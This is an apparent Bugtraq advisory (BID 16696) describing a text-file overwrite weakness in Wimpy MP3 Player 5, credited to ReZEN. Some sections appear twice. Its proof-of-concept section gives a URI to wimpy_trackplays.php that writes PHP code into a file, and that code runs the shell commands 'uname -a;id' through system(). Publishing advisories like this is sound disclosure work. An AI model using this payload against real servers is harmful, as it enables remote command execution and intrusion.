Wimpy MP3 Player Text File Overwrite Weakness
BID:16696
Info
Wimpy MP3 Player Text File Overwrite Weakness
| Bugtraq ID: | 16696 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 16 2006 12:00AM |
| Updated: | Feb 17 2006 06:42PM |
| Credit: | ReZEN is credited with the discovery of this weakness. |
| Vulnerable: |
Wimpy Wimpy MP3 Player 5 |
| Not Vulnerable: | |
Discussion
Wimpy MP3 Player Text File Overwrite Weakness
Wimpy MP3 is prone to a weakness that permits the overwriting of a text file with arbitrary attacker-supplied data.
Successful exploitation of this issue may aid an attacker in further attacks.
Wimpy MP3 is prone to a weakness that permits the overwriting of a text file with arbitrary attacker-supplied data.
Successful exploitation of this issue may aid an attacker in further attacks.
Exploit / POC
Wimpy MP3 Player Text File Overwrite Weakness
An exploit is not required.
The following proof of concept URI is available:
http://www.example.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=trackplays&trackFile=<?php&trackArtist=system("uname -a;id;");&trackTitle=?>
An exploit is not required.
The following proof of concept URI is available:
http://www.example.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=trackplays&trackFile=<?php&trackArtist=system("uname -a;id;");&trackTitle=?>
Solution / Fix
Wimpy MP3 Player Text File Overwrite Weakness
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
Wimpy MP3 Player Text File Overwrite Weakness
References:
References:
- Wimpy MP3 Player - Text file overwrite. (lame) (XOR Crew)
- Wimpy MP3 Player Homepage (Wimpy)